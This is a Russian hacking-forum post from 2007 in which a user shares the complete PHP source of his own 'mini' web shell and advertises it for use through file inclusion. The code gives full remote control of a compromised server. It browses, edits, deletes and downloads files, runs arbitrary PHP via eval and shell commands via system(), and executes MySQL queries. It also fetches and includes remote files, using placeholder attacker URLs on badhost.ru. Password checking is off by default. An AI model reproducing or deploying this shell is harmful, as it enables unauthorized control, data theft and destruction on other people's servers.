Показать сообщение отдельно

  #202  
Старый 29.09.2007, 13:24
Dr.Z3r0
Leaders of The World
Регистрация: 06.07.2007
Сообщений: 246
Провел на форуме:
2030482

Репутация: 1796
По умолчанию

Вот мой веб шелл
+Маленький размер (12кб)
+Оптимизирован под юзание из инклудов
+Все необходимые функции вебшелла
+Отсутствие графики/стилей (Всего лишнего)
-Работа через GET (Скоро переделаю)
PHP код:
<?php
/*
PHP Mini Remote View Dir (C) I-I()/Ib
Версия: 1.0 pre-realse
*/
$script['pr']=false;//проверка пароля
$script['pa']='EOF';//Пароль
$script['link']=2;//Тип ссылки(1-просто ссылка на скрипт,2-с определением выполняемого скрипта+все переданные парамтеры методом GET)
$script['do_this']="show_dir";//Значение переменой $do_this по дефолту
$script['now_dir']="./";//Значение переменой $now_dir по дефолту
$script['now_file']="index.html";//Значение переменой $now_file по дефолту

@set_magic_quotes_runtime(0);
@
set_time_limit(0);

if(@
get_magic_quotes_gpc())
{
foreach (
$_POST as $k=>$v){$_POST[$k] = stripslashes($v);}
foreach (
$_GET as $k=>$v){$_GET[$k] = stripslashes($v);}
}

if(
$script['pr']){if(@$_GET['key']!=$script['pa'])die();}

if(@
$_GET['do_this']!=null)$do_this=urldecode($_GET['do_this']);
else 
$do_this=$script['do_this'];
if(@
$_GET['now_dir']!=null)$now_dir=urldecode($_GET['now_dir']);
else 
$now_dir=$script['now_dir'];
if(@
$_GET['now_file']!=null)$now_file=urldecode($_GET['now_file']);
else 
$now_file=$script['now_file'];

if((
$script['link']===2))
{
    
$my_link="http://".$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF']."?";
    foreach(
$_GET as $index => $val){if(($index!="do_this")&&($index!="now_dir")&&($index!="now_file"))$my_link=$my_link.$index."=".$val."&";}
}
else 
$my_link='';

$our_catalog=getcwd();
chdir($now_dir);

if(
$do_this==="upload_file_s")
{
    if(@
file_exists($now_file))
    {
        
$file=@fopen($now_file,"r");
        @
ob_clean();
        
$filename=@basename($now_file);
        
$filedump=@fread($file,@filesize($now_file));
        
fclose($file);
        
$content_encoding=$mime_type='';
        if (!empty(
$content_encoding)) { header('Content-Encoding: ' $content_encoding); }
        
header("Content-type: ".$mime_type);
        
header("Content-disposition: attachment; filename=\"".$filename."\";");   
        echo 
$filedump;
        exit();
    }
}

echo 
"<font size='-1'><hr>
"
.php_uname()."<br>";
if(
function_exists('apache_get_version'))echo(apache_get_version()."<br>");
else echo
"PHP: ".phpversion()."<br>";
echo
"UID: ".getmyuid()." GID: ".getmygid()." PID: ".getmypid()."<br>
<hr>
Cкрипт находится в: "
.$our_catalog."<br>
Открыт каталог: "
.getcwd()."<br>
<hr>
<a href='"
.$my_link."&now_dir=".$now_dir."'>Просмотр директорий</a><br>
<a href='"
.$my_link."do_this=function_show&now_dir=".$now_dir."'>Работа с каталогами</a><br>
<a href='"
.$my_link."do_this=shell_show&now_dir=".$now_dir."'>Работа с шеллом</a><br>
<a href='"
.$my_link."do_this=mysql_show&now_dir=".$now_dir."'>Работа с MYSQL</a><br>
</font>
<hr> |
<input type='submit' value='Назад' onclick='javascript:history.back(-1)'> |
<input type='submit' value='Вперед' onclick='javascript:history.forward(+1)'> |
<input type='submit' value='Вверх' onclick=\"javascript:document.location.replace('"
.$my_link."do_this=show_dir&now_dir=".urlencode(getcwd()."/..")."')\"> |
<input type='submit' value='Домой' onclick=\"javascript:document.location.replace('"
.$my_link."')\"> |
<hr>
Путь:<input type='text' name='go_to_dir' value='"
.getcwd()."' size='100'>
<input type='submit' value='Перейти' onclick=\"javascript:document.location.replace('"
.$my_link."do_this=show_dir&now_dir='+escape(go_to_dir.value));\">
<hr>"
;

if(
$do_this==="show_dir")
{
    echo 
"<table width=100%>
<tr><td colspan=4 align=center><b>Просмотр содержимого папки <i>"
.getcwd()."</i></b></tr></td>
<tr><td width=35%><b>Имя</b></td><td width=15%><b>Размер</b></td><td width=10%><b>Действие</b></td><td width=20%><b>Изменен</b></td><td width=10%><b>Права</b></td><td width=10%><b>Владелец/Группа</b>"
;
    
$dh=opendir(".");
    while(
$file=readdir($dh)) 
    {
        if(
filetype($file)==="dir")$directories[]=$file;
        else 
$files[]=$file;
    }
    
closedir($dh);
    if(!empty(
$directories))
    {
        
sort($directories);
        foreach(
$directories as $file)
        {
                echo 
"<tr>
<td>[<a title='Open' href='"
.$my_link."now_dir=".urlencode($now_dir."/".$file)."'>".$file."</a>]</td>
<td>DIR</td>
<td>---</td>
<td>"
.date("d-m-Y H:i",filemtime($file))."</td>
<td><b><font color="
;
                if(
is_readable($file))echo 'green';
                else echo 
'red';
                echo 
">r</font><font color=";
                if(
is_writeable($file))echo 'green';
                else echo 
'red';
                echo 
">w</font>
</b></td>
<td>"
.@fileowner($now_dir)."/".@filegroup($now_dir)."</td>
</tr>\n"
;
        }
    }
    if(!empty(
$files))
    {
        
sort($files);
        foreach(
$files as $file)
        {
                echo 
"<tr>
<td><a title='Show' href='"
.$my_link."do_this=show_file_s&now_dir=".urlencode($now_dir)."&now_file=".urlencode($file)."'>".$file."</a></td>
<td>"
.filesize($file)." байт</td>
<td>
<a title='Upload' href='"
.$my_link."do_this=upload_file_s&now_dir=".urlencode($now_dir)."&now_file=".urlencode($file)."' alt='Скачать'>U</a> |
<a title='Modify' href='"
.$my_link."do_this=modify_file_s&now_dir=".urlencode($now_dir)."&now_file=".urlencode($file)."' alt='Редактировать'>M</a> |
<a title='Delete' href='"
.$my_link."do_this=delete_file_s&now_dir=".urlencode($now_dir)."&now_file=".urlencode($file)."' alt='Удалить'>D</a>
</td>
<td>"
.date("d-m-Y H:i",filemtime($file))."</td>
<td><b><font color="
;
                if(
is_readable($file))echo 'green';
                else echo 
'red';
                echo 
">r</font><font color=";
                if(
is_writeable($file))echo 'green';
                else echo 
'red';
                echo 
">w</font>
</b></td>
<td>"
.@fileowner($now_dir)."/".@filegroup($now_dir)."</td>
</tr>\n"
;
        }
    }
    echo 
"</table>";
}

if(
strpos($do_this,"_file_s")){
    echo 
"<center>
<b>Файл "
.$now_file."</b>
<table width=80%>
<tr>
<td><a href='"
.$my_link."do_this=show_file_s&now_dir=".urlencode($now_dir)."&now_file=".urlencode($now_file)."'>Просмотр</a></td>
<td><a href='"
.$my_link."do_this=modify_file_s&now_dir=".urlencode($now_dir)."&now_file=".urlencode($now_file)."'>Редактировать</a></td>
<td><a href='"
.$my_link."do_this=delete_file_s&now_dir=".urlencode($now_dir)."&now_file=".urlencode($now_file)."'>Удалить</a></td>
<td><a href='"
.$my_link."do_this=upload_file_s&now_dir=".urlencode($now_dir)."&now_file=".urlencode($now_file)."'>Загрузить</a></td>
<td><a href='"
.$my_link."now_dir=".urlencode($now_dir)."&now_file=".urlencode($now_file)."'>Назад</a></td>
</tr>
</table>
</center>"
;
    
    if(
file_exists($now_file)){
        if(
$do_this==="show_file_s"){
            
$open_to_show_file=file($now_file);
            echo 
"<b><center>Просмотр</center></b><pre>";
            for(
$i=0;$i<count($open_to_show_file);$i++)echo htmlspecialchars($open_to_show_file[$i]);
            echo 
"</pre>";
        }
        
        if(
$do_this==="modify_file_s"){
            echo 
"<b><center>Редактирование</center></b>\n";
            if(empty(
$_POST['step'])){
                
$open_to_show_file=file($now_file);
                echo 
"<form action='".$my_link."now_dir=".urlencode($now_dir)."&now_file=".urlencode($now_file)."&do_this=modify_file_s' method='post'>
<input type='hidden' name='step' value='1'>
<textarea name=new_text cols='80' rows='20'>"
;
                for(
$i=0;$i<count($open_to_show_file);$i++)echo htmlspecialchars($open_to_show_file[$i]);
                echo 
"</textarea><br>
<input type='submit' value=Править>
</form>"
;
            }else{
                
$new_text=$_POST['new_text'];
                
$file fopen ($now_file,"w");
                
fputs($file$new_text);
                
fclose($file);
                echo 
"Готово, вроде как... <a href='".$my_link."now_dir=".base64_encode($now_dir)."&now_file=".base64_encode($now_file)."&do_this=modify_file'>Назад</a>";
            }
        }
        
        if(
$do_this==="delete_file_s"){
            echo 
"<b><center>Удаление</center></b>\n";
            
unlink($now_file);
            if(
file_exists($now_file))echo "Файл не был удален... Возможно нет доступа";
            else echo 
"Файл удален...";
        }
    }else echo 
"Файл не найден";
}

if(
$do_this==="function_show"){
    echo 
"<hr><b>Создать файл</b><br>
<form action='"
.$my_link."now_dir=".urlencode($now_dir)."&do_this=function_create_file' method='post'>
Файл: <input type='text' name='patch_file' value='"
.getcwd()."\\shell.php'><br>
Содержимое:<br>
<textarea name='body_file' cols='80' rows='20'>Вот это будет находится в новом файле... :)</textarea><br>
<input type='submit' value='СОЗДАТЬ'>
</form>
<hr><b>Закачать файл с другого сервера</b>
<form action='"
.$my_link."now_dir=".urlencode($now_dir)."&do_this=function_download_file' method='post'>
Файл на другом сервере: <input type='text' name='patch_old_file' value='http://www.badhost.ru/new_shell.txt'><br>
Сохранить как: <input type='text' name='patch_new_file' value='"
.getcwd()."\\shell2.php'><br>
<input type='submit' value='ЗАКАЧАТЬ'>
</form>
<hr><b>Создать папку</b>
<form action='"
.$my_link."now_dir=".urlencode($now_dir)."&do_this=function_create_dir' method='post'>
Путь: <input type='text' name='patch_dir' value='"
.getcwd()."\\new_folder\'><br>
<input type='submit' value='СОЗДАТЬ'>
</form>
<hr><b>Удалить папку (только пустую)</b>
<form action='"
.$my_link."now_dir=".urlencode($now_dir)."&do_this=function_delete_dir' method='post'>
Путь: <input type='text' name='patch_dir' value='"
.getcwd()."\\del_folder\'><br>
<input type='submit' value='УДАЛИТЬ'>
</form>"
;
}

if(
$do_this==="function_create_file")
{
    
$file=fopen ($_POST['patch_file'],"w");
    
fputs($file$_POST['body_file']);
    
fclose($file);
    echo 
"Готово... <a href='".$my_link."now_dir=".urlencode($now_dir)."&do_this=function_show'>Назад</a>";
}

if(
$do_this==="function_download_file"){
    
$patch_open_file=$_POST['patch_old_file']; 
    
$save_file=$_POST['patch_new_file']; 
    
$open_file=file($patch_open_file); 
    
$file_s=fopen($save_file,"w"); 
    foreach(
$open_file as $val)fputs($file_s,$val); 
    
fclose($file_s); 
    echo 
"Готово... <a href='".$my_link."now_dir=".urlencode($now_dir)."&do_this=function_show'>Назад</a>";
}

if(
$do_this==="function_create_dir"){
    
mkdir($_POST['patch_dir'] , 0777);
    echo 
"Готово... <a href='".$my_link."now_dir=".urlencode($now_dir)."&do_this=function_show'>Назад</a>";
}

if(
$do_this==="function_delete_dir"){
    
rmdir($_POST['patch_dir']);
    echo 
"Готово... <a href='".$my_link."now_dir=".urlencode($now_dir)."&do_this=function_show'>Назад</a>";
}

if((
$do_this==="mysql_show")||($do_this==="mysql_exec")){
echo 
'<form action="'.$my_link."now_dir=".urlencode($now_dir).'&do_this=mysql_exec" method="post">
Подключаться: <input type="checkbox" name="connect" value="1" checked><br>
<input type="text" name="my_sqlhost" value="'
;
if(!empty(
$_POST['my_sqlhost']))echo $_POST['my_sqlhost'];
echo 
'">:Хост MYSQL<br><input type="text" name="my_database" value="';
if(!empty(
$_POST['my_database']))echo $_POST['my_database'];
echo 
'">:Имя базы<br><input type="text" name="mysql_login" value="';
if(!empty(
$_POST['mysql_login']))echo $_POST['mysql_login'];
echo 
'">:Логин<br><input type="text" name="mysql_password" value="';
if(!empty(
$_POST['mysql_password']))echo $_POST['mysql_password'];
echo 
'">:Пароль<br>Запрос:<br><textarea name="query" cols="30" rows="7">';
if(!empty(
$_POST['query']))echo $_POST['query'];
echo 
'</textarea><br><input type="submit" value="Выполнить"></form><hr>'."\n";
}

if(
$do_this==="mysql_exec")
{
    if((!empty(
$_POST['my_sqlhost']))&&(!empty($_POST['mysql_login']))&&(@$_POST['connect']==='1')){
        
$_POST['query']=urldecode($_POST['query']);
        
$link=mysql_connect($_POST['my_sqlhost'],$_POST['mysql_login'],$_POST['mysql_password']) or die ("Нет соединения с хостом");
        if(!empty(
$_POST['my_database']))mysql_select_db($_POST['my_database']);
    }
    if(!empty(
$_POST['query'])){
        
$result mysql_query($_POST['query']);
        if(empty(
$result))echo(mysql_error());
        else{
            echo 
"<table border=1>";
            while(
$data=mysql_fetch_row($result))echo "<tr><td>".implode("</td><td>"$data)."</td></tr>"."\n";
            echo 
"</table>";
            
mysql_free_result($result);
        }
    }
}

if(
$do_this==="shell_show"){
    echo 
"<hr><b>Заинклудить файл</b>
<form action='"
.$my_link."now_dir=".urlencode($now_dir)."&do_this=shell_inc' method='post'>
Путь: <input type='text' name='patch_include' value='http://www.badhost.ru/shell.php'><br>
<input type='submit' value='Инклудить'>
</form>

<hr><b>Выполнить пхп код</b> (не пишите &lt;?php и ?&gt;)
<form action='"
.$my_link."now_dir=".urlencode($now_dir)."&do_this=shell_eval' method='post'>
Код:<br>
<textarea name='eval_code' cols='80' rows='20'></textarea>
<br>
<input type='submit' value='Выполнить'>
</form>

<hr><b>Команадная строка</b>
<form action='"
.$my_link."now_dir=".urlencode($now_dir)."&do_this=shell_system' method='post'>
Код:<br>
<textarea name='system_code' cols='80' rows='20'></textarea>
<br>
<input type='submit' value='Выполнить'>
</form>"
;
}

if(
$do_this==="shell_inc"){
    include(
$_POST['patch_include']);
    echo 
"<hr> <a href='".$my_link."now_dir=".urlencode($now_dir)."&do_this=shell_show'>Назад</a>";
}

if(
$do_this==="shell_eval"){
    eval(
$_POST['eval_code']);
    echo 
"<hr> <a href='".$my_link."now_dir=".urlencode($now_dir)."&do_this=shell_show'>Назад</a>";
}

if(
$do_this==="shell_system"){
    
system($_POST['system_code']);
    echo 
"<hr> <a href='".$my_link."now_dir=".urlencode($now_dir)."&do_this=shell_show'>Назад</a>";
}
echo 
"<hr> <b>PHP Mini Remote View Dir v1.0 pre-realese</b> &copy; <i><b>I-I()/Ib</b></i>";

?>
__________________
Кто я?..
 
Ответить с цитированием